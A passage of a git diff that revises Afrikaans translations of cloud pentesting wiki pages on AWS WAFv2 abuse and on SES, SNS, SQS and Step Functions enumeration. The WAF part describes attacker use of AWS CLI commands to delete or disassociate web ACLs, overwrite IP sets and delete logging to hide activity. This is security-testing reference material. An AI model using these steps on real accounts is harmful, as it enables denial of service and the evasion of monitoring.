verkeer van spesifieke IP-adresse sou blokkeer: +Die volgende voorbeelde toon 'n reëlgroep wat wettige verkeer van spesifieke IP-adresse sou blokkeer: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` @@ -243,8 +243,8 @@ Die **rule.json** lêer sal soos volg lyk: Met hierdie toestemmings kan 'n aanvaller: -- 'n Nuwe Web ACL skep, wat reëls bekendstel wat of kwaadwillige verkeer toelaat of legitieme verkeer blokkeer, wat die WAF effektief nutteloos maak of 'n ontkenning van diens veroorsaak. -- Bestaande Web ACL's opdateer, wat in staat is om reëls te wysig om aanvalle soos SQL-inspuiting of kruis-webskripting toe te laat, wat voorheen geblokkeer was, of normale verkeersvloei te ontwrig deur geldige versoeke te blokkeer. +- 'n Nuwe Web ACL skep, wat reëls bekendstel wat of kwaadwillige verkeer toelaat of legitieme verkeer blokkeer, wat die WAF effektief nutteloos maak of 'n diensontkenning veroorsaak. +- Bestaande Web ACL's opdateer, in staat om reëls te wysig om aanvalle soos SQL-inspuiting of kruis-web scripting toe te laat, wat voorheen geblokkeer was, of normale verkeersvloei te ontwrig deur geldige versoeke te blokkeer. - 'n Web ACL verwyder, wat die betrokke hulpbronne heeltemal onbeskermd laat, en dit blootstel aan 'n wye reeks webaanvalle. > [!NOTE] @@ -329,13 +329,13 @@ Die **rule.json** lêer sal soos volg lyk: } ] ``` -**Potensiële Impak**: Ongeoorloofde toegang, datalekke, en potensiële DoS-aanvalle. +**Potensiële Impak**: Onbevoegde toegang, datalekke, en potensiële DoS-aanvalle. #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -Die **`wafv2:AssociateWebACL`** toestemming sou 'n aanvaller in staat stel om web ACLs (Toegangsbeheerlisensies) met hulpbronne te assosieer, wat dit moontlik maak om sekuriteitsbeheermaatreëls te omseil, wat ongeoorloofde verkeer toelaat om die toepassing te bereik, wat potensieel kan lei tot ontploffings soos SQL-inspuiting of kruis-webscripting (XSS). Omgekeerd, met die **`wafv2:DisassociateWebACL`** toestemming, kan die aanvaller tydelik sekuriteitsbeskermings deaktiveer, wat die hulpbronne aan kwesbaarhede blootstel sonder opsporing. +Die **`wafv2:AssociateWebACL`** toestemming sou 'n aanvaller in staat stel om web ACLs (Toegangsbeheerlisensies) met hulpbronne te assosieer, wat dit moontlik maak om sekuriteitsbeheermaatreëls te omseil, wat onbevoegde verkeer toelaat om die toepassing te bereik, wat potensieel kan lei tot ontploffings soos SQL-inspuiting of kruis-webskripting (XSS). Omgekeerd, met die **`wafv2:DisassociateWebACL`** toestemming, kan die aanvaller tydelik sekuriteitsbeskermings deaktiveer, wat die hulpbronne aan kwesbaarhede blootstel sonder opsporing. -Die addisionele toestemmings sou benodig word, afhangende van die beskermde hulpbron tipe: +Die addisionele toestemmings sou benodig word, afhangende van die tipe beskermde hulpbron: - **Assosieer** - apigateway:SetWebACL @@ -357,7 +357,7 @@ aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` -**Potensiële Impak**: Gecompromitteerde hulpbronne-sekuriteit, verhoogde risiko van eksploitatie, en potensiële diensonderbrekings binne AWS-omgewings wat deur AWS WAF beskerm word. +**Potensiële Impak**: Gecompromitteerde hulpbronsekuriteit, verhoogde risiko van eksploitatie, en potensiële diensonderbrekings binne AWS-omgewings wat deur AWS WAF beskerm word. #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** @@ -370,7 +370,7 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Die volgende voorbeeld wys hoe om **die bestaande IP stel te oorskryf met die gewenste IP stel**: +Die volgende voorbeeld toon hoe om **die bestaande IP stel te oorskryf met die gewenste IP stel**: ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` @@ -378,7 +378,7 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -'n Aanvaller met hierdie toestemmings sou in staat wees om die gereelde uitdrukking patroonstelle wat deur AWS WAF gebruik word, te manipuleer om inkomende verkeer op grond van spesifieke patrone te beheer en te filtreer. +'n Aanvaller met hierdie toestemmings sou in staat wees om die regulêre uitdrukking patroonstelle wat deur AWS WAF gebruik word, te manipuleer om inkomende verkeer op grond van spesifieke patrone te beheer en te filtreer. - Die skep van nuwe regex patrone sou 'n aanvaller help om skadelike inhoud toe te laat - Deur die bestaande patrone op te dateer, sou 'n aanvaller die sekuriteitsreëls kon omseil @@ -391,17 +391,17 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` -**Potensiële Impak**: Oorskry sekuriteitsbeheer, wat kwaadwillige inhoud toelaat en moontlik sensitiewe data blootstel of dienste en hulpbronne wat deur AWS WAF beskerm word, ontwrig. +**Potensiële Impak**: Oorskry van sekuriteitsbeheer, wat kwaadwillige inhoud toelaat en moontlik sensitiewe data blootstel of dienste en hulpbronne wat deur AWS WAF beskerm word, ontwrig. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -'n Aanvaller met die **`wafv2:DeleteLoggingConfiguration`** sou in staat wees om die logging-konfigurasie van die gespesifiseerde Web ACL te verwyder. Vervolgens, met die **`wavf2:PutLoggingConfiguration`** en **`iam:CreateServiceLinkedRole`** toestemmings, kan 'n aanvaller logging-konfigurasies skep of vervang (nadat dit verwyder is) om of logging heeltemal te voorkom of logs na ongeoorloofde bestemmings te herlei, soos Amazon S3-buckets, Amazon CloudWatch Logs loggroep of 'n Amazon Kinesis Data Firehose onder beheer. +'n Aanvaller met die **`wafv2:DeleteLoggingConfiguration`** sou in staat wees om die logging-konfigurasie van die gespesifiseerde Web ACL te verwyder. Vervolgens, met die **`wavf2:PutLoggingConfiguration`** en **`iam:CreateServiceLinkedRole`** toestemmings, kon 'n aanvaller logging-konfigurasies skep of vervang (nadat dit verwyder is) om of logging heeltemal te voorkom of logs na nie-gesaghebbende bestemmings te herlei, soos Amazon S3-buckets, Amazon CloudWatch Logs loggroep of 'n Amazon Kinesis Data Firehose onder beheer. Tydens die skepproses stel die diens outomaties die nodige toestemmings op om te verseker dat logs na die gespesifiseerde logging-bestemming geskryf kan word: - **Amazon CloudWatch Logs:** AWS WAF skep 'n hulpbronbeleid op die aangewese CloudWatch Logs loggroep. Hierdie beleid verseker dat AWS WAF die toestemmings het wat nodig is om logs na die loggroep te skryf. - **Amazon S3 Bucket:** AWS WAF skep 'n emmerbeleid op die aangewese S3-emmer. Hierdie beleid verleen AWS WAF die nodige toestemmings om logs na die gespesifiseerde emmer op te laai. -- **Amazon Kinesis Data Firehose:** AWS WAF skep 'n diens-gekoppelde rol spesifiek vir interaksie met Kinesis Data Firehose. Hierdie rol stel AWS WAF in staat om logs na die geconfigureerde Firehose-stroom te lewer. +- **Amazon Kinesis Data Firehose:** AWS WAF skep 'n diens-gekoppelde rol spesifiek vir interaksie met Kinesis Data Firehose. Hierdie rol laat AWS WAF toe om logs na die geconfigureerde Firehose-stroom te lewer. > [!NOTE] > Dit is moontlik om slegs een logging-bestemming per web ACL te definieer. @@ -411,11 +411,11 @@ aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` -**Potensiële Impak:** Obskureer sigbaarheid in sekuriteitsevents, moeilikheid in die insidentresponsproses, en fasiliteer oorgenoemde kwaadwillige aktiwiteite binne AWS WAF-beskermde omgewings. +**Potensiële Impak:** Obskureer sigbaarheid in sekuriteit gebeurtenisse, moeilikheid in die insidentresponsproses, en fasiliteer oorgenoemde kwaadwillige aktiwiteite binne AWS WAF-beskermde omgewings. #### **`wafv2:DeleteAPIKey`** -'n Aanvaller met hierdie toestemmings sou in staat wees om bestaande API-sleutels te verwyder, wat die CAPTCHA ondoeltreffend maak en die funksionaliteit wat daarop staatmaak, soos vormindienings en toegangbeheer, ontwrig. Afhangende van die implementering van hierdie CAPTCHA, kan dit lei tot 'n CAPTCHA-omseiling of 'n DoS as die foutbestuur nie behoorlik in die hulpbron ingestel is nie. +'n Aanvaller met hierdie toestemmings sal in staat wees om bestaande API-sleutels te verwyder, wat die CAPTCHA ondoeltreffend maak en die funksionaliteit wat daarop staatmaak, soos vormindienings en toegangbeheer, ontwrig. Afhangende van die implementering van hierdie CAPTCHA, kan dit lei tot 'n CAPTCHA-omseiling of 'n DoS as die foutbestuur nie behoorlik in die hulpbron ingestel is nie. ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> @@ -424,7 +424,7 @@ aws wafv2 delete-api-key --api-key --scope | #### **`wafv2:TagResource`, `wafv2:UntagResource`** -'n Aanvaller sal in staat wees om etikette by te voeg, te wysig of te verwyder van AWS WAFv2 hulpbronne, soos Web ACLs, reëlgroepe, IP stelle, regex patroon stelle, en registrasie konfigurasies. +'n Aanvaller sal in staat wees om etikette by te voeg, te wysig of te verwyder van AWS WAFv2 hulpbronne, soos Web ACLs, reëlgroepe, IP stelle, regex patroon stelle, en logging konfigurasies. ```bash # Tag aws wafv2 tag-resource --resource-arn --tags diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index 2fa1895de..a8d9dfeb4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -4,7 +4,7 @@ ## Basiese Inligting -Amazon Simple Email Service (Amazon SES) is ontwerp om **e-posse te stuur en te ontvang**. Dit stel gebruikers in staat om transaksie-, bemarking- of kennisgewingse-posse doeltreffend en veilig op groot skaal te stuur. Dit **integreer goed met ander AWS-dienste**, wat 'n robuuste oplossing bied vir die bestuur van e-poskommunikasie vir besighede van alle groottes. +Amazon Simple Email Service (Amazon SES) is ontwerp om **e-posse te stuur en te ontvang**. Dit stel gebruikers in staat om transaksie-, bemarking- of kennisgewing-e-posse doeltreffend en veilig op groot skaal te stuur. Dit **integreer goed met ander AWS-dienste**, wat 'n robuuste oplossing bied vir die bestuur van e-poskommunikasie vir besighede van alle groottes. Jy moet **identiteite** registreer, wat domeine of e-posadresse kan wees wat met SES kan interaksie hê (bv. e-posse stuur en ontvang). @@ -23,7 +23,7 @@ Dit is moontlik om te verbind met 'n **SMTP-bediener van AWS om aksies uit te vo ] } ``` -Dan, versamel die **API-sleutel en geheim** van die gebruiker en voer uit: +Versamel dan die **API-sleutel en geheim** van die gebruiker en voer uit: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index e6aae027c..703cae61b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -6,13 +6,13 @@ Amazon Simple Notification Service (Amazon SNS) word beskryf as 'n **volledig bestuurde boodskapdiens**. Dit ondersteun beide **toepassing-naar-toepassing** (A2A) en **toepassing-naar-persoon** (A2P) kommunikasietipes. -Belangrike kenmerke vir A2A kommunikasie sluit **publiseer/teken (pub/sub) meganismes** in. Hierdie meganismes stel **onderwerpe** in, wat noodsaaklik is om hoë-deurset, **druk-gebaseerde, baie-naar-baie boodskappe** te fasiliteer. Hierdie kenmerk is baie voordelig in scenario's wat verspreide stelsels, mikrodiens, en gebeurtenis-gedrewe serverless argitektuur insluit. Deur hierdie onderwerpe te benut, kan publiseer stelsels boodskappe doeltreffend versprei na 'n **wye reeks van tekenaarstelsels**, wat 'n fanout boodskappatroon fasiliteer. +Belangrike kenmerke vir A2A kommunikasie sluit **publiseer/teken (pub/sub) meganismes** in. Hierdie meganismes stel **onderwerpe** in, wat noodsaaklik is om hoë-deurset, **druk-gebaseerde, baie-naar-baie boodskappe** moontlik te maak. Hierdie kenmerk is baie voordelig in scenario's wat verspreide stelsels, mikrodiens, en gebeurtenis-gedrewe serverless argitektuur insluit. Deur hierdie onderwerpe te benut, kan publiseer stelsels boodskappe doeltreffend versprei na 'n **wye reeks van tekenaarstelsels**, wat 'n fanout boodskappatroon fasiliteer. ### **Verskil met SQS** **SQS** is 'n **ry-gebaseerde** diens wat punt-tot-punt kommunikasie toelaat, wat verseker dat boodskappe verwerk word deur 'n **enkele verbruiker**. Dit bied **ten minste-eens aflewering**, ondersteun standaard en FIFO rye, en laat boodskapbehoud toe vir herhalings en vertraagde verwerking.\ Aan die ander kant is **SNS** 'n **publiseer/teken-gebaseerde diens**, wat **een-naar-baie** kommunikasie moontlik maak deur boodskappe gelyktydig na **meerdere tekenaars** te versprei. Dit ondersteun **verskeie tekenaars eindpunte soos e-pos, SMS, Lambda funksies, en HTTP/HTTPS**, en bied filtrasie meganismes vir geteikende boodskapaflewering.\ -Terwyl albei dienste ontkoppeling tussen komponente in verspreide stelsels moontlik maak, fokus SQS op gequeue kommunikasie, en beklemtoon SNS gebeurtenis-gedrewe, fan-out kommunikasiepatrone. +Terwyl beide dienste ontkoppeling tussen komponente in verspreide stelsels moontlik maak, fokus SQS op gequeue kommunikasie, en beklemtoon SNS gebeurtenis-gedrewe, fan-out kommunikasiepatrone. ### **Enumerasie** ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index c4f8d210f..419abf0d9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,7 +4,7 @@ ## SQS -Amazon Simple Queue Service (SQS) word aangebied as 'n **volledig bestuurde boodskap-ry-diens**. Die hooffunksie is om te help met die skaal en ontkoppeling van mikrodiens, verspreide stelsels en serverless toepassings. Die diens is ontwerp om die behoefte aan die bestuur en werking van boodskap-georiënteerde middleware te verwyder, wat dikwels kompleks en hulpbron-intensief kan wees. Hierdie verwydering van kompleksiteit stel ontwikkelaars in staat om hul pogings te rig op meer innoverende en onderskeidende aspekte van hul werk. +Amazon Simple Queue Service (SQS) word aangebied as 'n **volledig bestuurde boodskapkwotasiediens**. Die hooffunksie is om te help met die skaalvergroting en ontkoppeling van mikrodiens, verspreide stelsels en serverless toepassings. Die diens is ontwerp om die behoefte aan die bestuur en werking van boodskap-georiënteerde middleware te verwyder, wat dikwels kompleks en hulpbron-intensief kan wees. Hierdie verwydering van kompleksiteit stel ontwikkelaars in staat om hul pogings te rig op meer innoverende en onderskeidende aspekte van hul werk. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 7e65a0537..451158657 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,43 +4,43 @@ ## Step Functions -AWS Step Functions is 'n werksvloei-diens wat jou in staat stel om verskeie AWS-dienste in serverless werksvloeie te koördineer en te orkestreer. Deur AWS Step Functions te gebruik, kan jy werksvloeie ontwerp en uitvoer wat verskillende AWS-dienste soos AWS Lambda, Amazon S3, Amazon DynamoDB, en vele meer, in 'n reeks stappe verbind. Hierdie orkestrasiediens bied 'n visuele werksvloei-koppelvlak en bied **state machine** vermoëns, wat jou toelaat om elke stap van die werksvloei op 'n deklaratiewe manier te definieer met behulp van JSON-gebaseerde **Amazon States Language** (ASL). +AWS Step Functions is 'n werksvloei-diens wat jou in staat stel om verskeie AWS-dienste in serverless werksvloeie te koördineer en te orkestreer. Deur AWS Step Functions te gebruik, kan jy werksvloeie ontwerp en uitvoer wat verskeie AWS-dienste soos AWS Lambda, Amazon S3, Amazon DynamoDB, en vele meer, in 'n volgorde van stappe verbind. Hierdie orkestrasiediens bied 'n visuele werksvloei-koppelvlak en bied **state machine** vermoëns, wat jou toelaat om elke stap van die werksvloei op 'n deklaratiewe manier te definieer met behulp van JSON-gebaseerde **Amazon States Language** (ASL). -## Key concepts +## Sleutelkonsepte -### Standard vs. Express Workflows +### Standaard vs. Express Werksvloeie -AWS Step Functions bied twee tipes **state machine workflows**: Standaard en Uitdrukking. +AWS Step Functions bied twee tipes **state machine workflows**: Standaard en Express. -- **Standard Workflow**: Hierdie standaard werksvloei tipe is ontwerp vir langlopende, duursame, en auditeerbare prosesse. Dit ondersteun **exactly-once execution**, wat verseker dat take slegs een keer uitgevoer word tensy herhalings gespesifiseer word. Dit is ideaal vir werksvloeie wat gedetailleerde uitvoeringsgeskiedenis benodig en kan tot een jaar lank loop. -- **Express Workflow**: Hierdie tipe is ideaal vir hoë-volume, kortduur take, wat tot vyf minute duur. Hulle ondersteun **at-least-once execution**, geskik vir idempotente take soos data verwerking. Hierdie werksvloeie is geoptimaliseer vir koste en prestasie, en hef koste gebaseer op uitvoerings, duur, en geheuegebruik. +- **Standaard Werksvloei**: Hierdie standaard werksvloei tipe is ontwerp vir langlopende, duursame, en auditeerbare prosesse. Dit ondersteun **exactly-once execution**, wat verseker dat take slegs een keer uitgevoer word tensy herhalings gespesifiseer word. Dit is ideaal vir werksvloeie wat gedetailleerde uitvoeringsgeskiedenis benodig en kan tot een jaar lank loop. +- **Express Werksvloei**: Hierdie tipe is ideaal vir hoë-volume, kort duur take, wat tot vyf minute kan loop. Hulle ondersteun **at-least-once execution**, geskik vir idempotente take soos data verwerking. Hierdie werksvloeie is geoptimaliseer vir koste en prestasie, en hef fooie gebaseer op uitvoerings, duur, en geheuegebruik. -### States +### State -States is die essensiële eenhede van state machines. Hulle definieer die individuele stappe binne 'n werksvloei, en kan 'n verskeidenheid funksies uitvoer, afhangende van sy tipe: +State is die essensiële eenhede van state machines. Hulle definieer die individuele stappe binne 'n werksvloei, en kan 'n verskeidenheid funksies uitvoer, afhangende van sy tipe: -- **Task:** Voer 'n werk uit, dikwels met 'n AWS-diens soos Lambda. -- **Choice:** Neem besluite gebaseer op invoer. -- **Fail/Succeed:** Eindig die uitvoering met 'n mislukking of sukses. -- **Pass:** Gee invoer aan uitvoer of voeg data in. -- **Wait:** Vertraag uitvoering vir 'n bepaalde tyd. +- **Taak:** Voer 'n werk uit, dikwels met 'n AWS-diens soos Lambda. +- **Keuse:** Neem besluite gebaseer op insette. +- **Misluk/Slaag:** Eindig die uitvoering met 'n mislukking of sukses. +- **Oorgang:** Gee insette aan uitsette of voeg data in. +- **Wag:** Vertraag uitvoering vir 'n bepaalde tyd. - **Parallel:** Begin parallelle takke. -- **Map:** Dinamies herhaal stappe oor items. +- **Kaart:** Dinamies herhaal stappe oor items. -### Task +### Taak -'n **Task** state verteenwoordig 'n enkele eenheid van werk wat deur 'n state machine uitgevoer word. Take kan verskeie hulpbronne aanroep, insluitend aktiwiteite, Lambda funksies, AWS dienste, of derdeparty API's. +'n **Taak** state verteenwoordig 'n enkele eenheid van werk wat deur 'n state machine uitgevoer word. Take kan verskeie hulpbronne aanroep, insluitend aktiwiteite, Lambda funksies, AWS dienste, of derdeparty API's. -- **Activities**: Pasgemaakte werkers wat jy bestuur, geskik vir langlopende prosesse. +- **Aktiwiteite**: Pasgemaakte werkers wat jy bestuur, geskik vir langlopende prosesse. - Hulpbron: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Voer AWS Lambda funksies uit. +- **Lambda Funksies**: Voer AWS Lambda funksies uit. - Hulpbron: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Integreer direk met ander AWS dienste, soos DynamoDB of S3. +- **AWS Dienste**: Integreer direk met ander AWS dienste, soos DynamoDB of S3. - Hulpbron: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Roep derdeparty API's aan. +- **HTTP Taak**: Roep derdeparty API's aan. - Hulpbron veld: **`arn:aws:states:::http:invoke`**. Dan moet jy die API eindpunt konfigurasie besonderhede verskaf, soos die API URL, metode, en outentikasie besonderhede. -Die volgende voorbeeld toon 'n Task state definisie wat 'n Lambda funksie genaamd HelloWorld aanroep: +Die volgende voorbeeld toon 'n Taak state definisie wat 'n Lambda funksie genaamd HelloWorld aanroep: ```json "HelloWorld": { "Type": "Task", @@ -56,8 +56,8 @@ Die volgende voorbeeld toon 'n Task state definisie wat 'n Lambda funksie genaam 'n **Keuse** toestand voeg voorwaardelike logika by 'n werksvloei, wat besluite op grond van invoerdata moontlik maak. Dit evalueer die gespesifiseerde voorwaardes en oorweeg na die ooreenstemmende toestand op grond van die resultate. -- **Vergelyking**: Elke keuse-reël sluit 'n vergelykingsoperateur in (bv. **`NumericEquals`**, **`StringEquals`**) wat 'n invoer veranderlike met 'n gespesifiseerde waarde of 'n ander veranderlike vergelyk. -- **Volgende Veld**: Keuse toestande ondersteun nie die **`End`** veld nie, eerder definieer hulle die **`Next`** toestand om na oor te skakel as die vergelyking waar is. +- **Vergelyking**: Elke keuse-reël sluit 'n vergelykingsoperateur in (bv. **`NumericEquals`**, **`StringEquals`**) wat 'n invoervariabele met 'n gespesifiseerde waarde of 'n ander variabele vergelyk. +- **Volgende Veld**: Keuse toestande ondersteun nie die **`End`** veld nie, eerder, hulle definieer die **`Next`** toestand om na oor te skakel as die vergelyking waar is. Voorbeeld van **Keuse** toestand: ```json @@ -67,14 +67,14 @@ Voorbeeld van **Keuse** toestand: "Next": "TimeState" } ``` -### Fail/Succeed +### Misluk/Sukses -'n **`Fail`** toestand stop die uitvoering van 'n toestandmasjien en merk dit as 'n mislukking. Dit word gebruik om 'n foutnaam en 'n oorsaak te spesifiseer, wat besonderhede oor die mislukking verskaf. Hierdie toestand is terminal, wat beteken dit beëindig die uitvoeringsvloei. +'n **`Misluk`** toestand stop die uitvoering van 'n toestandmasjien en merk dit as 'n mislukking. Dit word gebruik om 'n foutnaam en 'n oorsaak te spesifiseer, wat besonderhede oor die mislukking verskaf. Hierdie toestand is terminal, wat beteken dit beëindig die uitvoeringsvloei. -'n **`Succeed`** toestand stop die uitvoering suksesvol. Dit word tipies gebruik om die werksvloei te beëindig wanneer dit suksesvol voltooi is. Hierdie toestand vereis nie 'n **`Next`** veld nie. +'n **`Sukses`** toestand stop die uitvoering suksesvol. Dit word tipies gebruik om die werksvloei te beëindig wanneer dit suksesvol voltooi is. Hierdie toestand vereis nie 'n **`Next`** veld nie. {{#tabs }} -{{#tab name="Fail example" }} +{{#tab name="Misluk voorbeeld" }} ```json "FailState": { "Type": "Fail", @@ -95,7 +95,7 @@ Voorbeeld van **Keuse** toestand: ### Pass -'n **Pass** toestand gee sy invoer aan sy uitvoer oor, hetsy sonder om enige werk te verrig of deur JSON toestand invoer te transformeer met behulp van filters, en dan die getransformeerde data aan die volgende toestand oor te dra. Dit is nuttig vir toetsing en die konstruksie van toestandmasjiene, wat jou toelaat om statiese data in te voeg of dit te transformeer. +'n **Pass** toestand stuur sy invoer na sy uitvoer, hetsy sonder om enige werk te verrig of JSON toestand invoer te transformeer met behulp van filters, en dan die getransformeerde data na die volgende toestand te stuur. Dit is nuttig vir toetsing en die konstruksie van toestandmasjiene, wat jou toelaat om statiese data in te voeg of dit te transformeer. ```json "PassState": { "Type": "Pass", @@ -141,11 +141,11 @@ jsonCopiar código ### Parallel -'n **Parallel** toestand laat jou toe om verskeie takke van take gelyktydig binne jou werksvloei uit te voer. Elke tak loop onafhanklik en verwerk sy eie volgorde van toestande. Die uitvoering wag totdat al die takke voltooi is voordat dit na die volgende toestand gaan. Sy sleutelvelde is: +'n **Parallel** toestand laat jou toe om verskeie takke van take gelyktydig binne jou werksvloei uit te voer. Elke tak loop onafhanklik en verwerk sy eie volgorde van toestande. Die uitvoering wag totdat al die takke voltooi is voordat dit na die volgende toestand voortgaan. Sy sleutelvelde is: - **Takke**: 'n Array wat die parallelle uitvoeringspaaie definieer. Elke tak is 'n aparte toestandmasjien. - **ResultPath**: Definieer waar (in die invoer) om die saamgevoegde uitvoer van die takke te plaas. -- **Herhaal en Vang**: Fouthanteringskonfigurasies vir die parallelle toestand. +- **Hernu en Vang**: Fouthanteringskonfigurasies vir die parallelle toestand. ```json "ParallelState": { "Type": "Parallel", @@ -234,19 +234,19 @@ jsonCopiar código ### Versions and aliases -Step Functions laat jou ook toe om werksvloei-implementasies te bestuur deur middel van **versies** en **aliases** van toestand masjiene. 'n Weergawe verteenwoordig 'n snapshot van 'n toestand masjien wat uitgevoer kan word. Aliases dien as wysers na tot twee weergawes van 'n toestand masjien. +Step Functions laat jou ook toe om werksvloei-implementasies te bestuur deur middel van **versies** en **aliases** van toestandmasjiene. 'n weergawe verteenwoordig 'n snapshot van 'n toestandmasjien wat uitgevoer kan word. Aliases dien as wysers na tot twee weergawes van 'n toestandmasjien. -- **Versies**: Hierdie onveranderlike snapshots van 'n toestand masjien word geskep vanaf die mees onlangse hersiening van daardie toestand masjien. Elke weergawe word geïdentifiseer deur 'n unieke ARN wat die toestand masjien ARN met die weergawe nommer kombineer, geskei deur 'n dubbelepunt (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Weergawes kan nie ge-edit word nie, maar jy kan die toestand masjien opdateer en 'n nuwe weergawe publiseer, of die gewenste toestand masjien weergawe gebruik. -- **Aliases**: Hierdie wysers kan na tot twee weergawes van dieselfde toestand masjien verwys. Meerdere aliases kan geskep word vir 'n enkele toestand masjien, elkeen geïdentifiseer deur 'n unieke ARN wat die toestand masjien ARN met die alias naam kombineer, geskei deur 'n dubbelepunt (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases stel die roetering van verkeer tussen een van die twee weergawes van 'n toestand masjien in staat. Alternatiewelik kan 'n alias na 'n enkele spesifieke weergawe van die toestand masjien wys, maar nie na ander aliases nie. Hulle kan opdateer word om na 'n ander weergawe van die toestand masjien te herlei soos nodig, wat beheerde implementasies en werksvloei bestuur fasiliteer. +- **Versies**: Hierdie onveranderlike snapshots van 'n toestandmasjien word geskep vanaf die mees onlangse hersiening van daardie toestandmasjien. Elke weergawe word geïdentifiseer deur 'n unieke ARN wat die toestandmasjien ARN met die weergawe nommer kombineer, geskei deur 'n dubbelepunt (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Weergawes kan nie gewysig word nie, maar jy kan die toestandmasjien opdateer en 'n nuwe weergawe publiseer, of die gewenste toestandmasjien weergawe gebruik. +- **Aliases**: Hierdie wysers kan na tot twee weergawes van dieselfde toestandmasjien verwys. Meervoudige aliases kan geskep word vir 'n enkele toestandmasjien, elkeen geïdentifiseer deur 'n unieke ARN wat die toestandmasjien ARN met die alias naam kombineer, geskei deur 'n dubbelepunt (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases stel die roetering van verkeer tussen een van die twee weergawes van 'n toestandmasjien in staat. Alternatiewelik kan 'n alias na 'n enkele spesifieke weergawe van die toestandmasjien wys, maar nie na ander aliases nie. Hulle kan opgedateer word om na 'n ander weergawe van die toestandmasjien te herlei soos nodig, wat beheerde implementasies en werksvloei-bestuur fasiliteer. Vir meer gedetailleerde inligting oor **ASL**, kyk: [**Amazon States Language**](https://states-language.net/spec.html). ## IAM Roles for State machines -AWS Step Functions gebruik AWS Identity and Access Management (IAM) rolle om toegang tot hulpbronne en aksies binne toestand masjiene te beheer. Hier is die sleutel aspekte wat verband hou met sekuriteit en IAM rolle in AWS Step Functions: +AWS Step Functions gebruik AWS Identity and Access Management (IAM) rolle om toegang tot hulpbronne en aksies binne toestandmasjiene te beheer. Hier is die sleutel aspekte wat verband hou met sekuriteit en IAM rolle in AWS Step Functions: -- **Execution Role**: Elke toestand masjien in AWS Step Functions is geassosieer met 'n IAM uitvoering rol. Hierdie rol definieer watter aksies die toestand masjien namens jou kan uitvoer. Wanneer 'n toestand masjien tussen toestande oorgaan wat met AWS dienste interaksie het (soos die aanroep van Lambda funksies, toegang tot DynamoDB, ens.), neem dit hierdie uitvoering rol aan om daardie aksies uit te voer. -- **Permissions**: Die IAM uitvoering rol moet geconfigureer word met toestemmings wat die nodige aksies op ander AWS dienste toelaat. Byvoorbeeld, as jou toestand masjien AWS Lambda funksies moet aanroep, moet die IAM rol **`lambda:InvokeFunction`** toestemmings hê. Op soortgelyke wyse, as dit na DynamoDB moet skryf, moet toepaslike toestemmings (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, ens.) toegestaan word. +- **Execution Role**: Elke toestandmasjien in AWS Step Functions is geassosieer met 'n IAM uitvoering rol. Hierdie rol definieer watter aksies die toestandmasjien namens jou kan uitvoer. Wanneer 'n toestandmasjien tussen toestande oorgaan wat met AWS dienste interaksie het (soos die aanroep van Lambda funksies, toegang tot DynamoDB, ens.), neem dit hierdie uitvoering rol aan om daardie aksies uit te voer. +- **Permissions**: Die IAM uitvoering rol moet geconfigureer word met toestemmings wat die nodige aksies op ander AWS dienste toelaat. 